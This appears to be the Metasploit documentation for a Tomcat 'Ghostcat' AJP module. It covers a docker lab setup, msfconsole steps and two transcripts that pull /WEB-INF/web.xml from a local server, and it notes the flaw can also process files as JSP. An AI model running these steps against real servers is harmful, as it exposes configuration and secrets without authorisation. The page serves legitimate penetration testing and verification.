## Vulnerable Application
### Description
This module can be used to retrieve arbitrary files from anywhere in the web application, including the `WEB-INF` and `META-INF`
directories and any other location that can be reached via `ServletContext.getResourceAsStream()` on Apache Tomcat servers.
It also allows the attacker to process any file in the web application as JSP.
### Setup
Running within a docker container:
```
docker run --name tomcat --rm -p 8080:8080 -p 8009:8009 tomcat:8.5.32
```
## Verification Steps
1. Install the application and start it
2. Start msfconsole
3. Do: `use auxiliary/admin/http/tomcat_ghostcat`
4. Do: `set RHOSTS [ip]`
5. Do: `set RPORT [port]`
6. Do: `set FILENAME [filename]`
7. Do: `run`
## Options
### FILENAME
The file you would like to retrieve from the target web application. Defaults to `/WEB-INF/web.xml`
### AJP_PORT
The port on the target that is running the Apache JServ Protocol (AJP).
## Scenarios
### Apache Tomcat 8.5.32
```
msf6 > use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8080
RPORT => 8080
msf6 auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /WEB-INF/web.xml
FILENAME => /WEB-INF/web.xml
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 127.0.0.1
Status Code: 200
Accept-Ranges: bytes
ETag: W/"1227-1529524397000"
Last-Modified: Wed, 20 Jun 2018 19:53:17 GMT
Content-Type: application/xml
Content-Length: 1227
Welcome to Tomcat
Welcome to Tomcat
[+] 127.0.0.1:8080 - /Users/user/.msf4/loot/20210408102538_default_127.0.0.1_WEBINFweb.xml_436040.txt
[*] Auxiliary module execution completed
```
### Apache Tomcat on Windows 10.0.16299.125
```
[*] Processing tomcat_ghostcat.rb for ERB directives.
resource (tomcat_ghostcat.rb)> use auxiliary/admin/http/tomcat_ghostcat
resource (tomcat_ghostcat.rb)> set rport 8080
rport => 8080
resource (tomcat_ghostcat.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (tomcat_ghostcat.rb)> set verbose true
verbose => true
resource (tomcat_ghostcat.rb)> set FILENAME /WEB-INF/web.xml
filename => /WEB-INF/web.xml
resource (tomcat_ghostcat.rb)> run
[*] Running module against 127.0.0.1
version = "4.0"
metadata-complete="true">
Welcome to Tomcat
Welcome to Tomcat
[*] Auxiliary module execution completed
```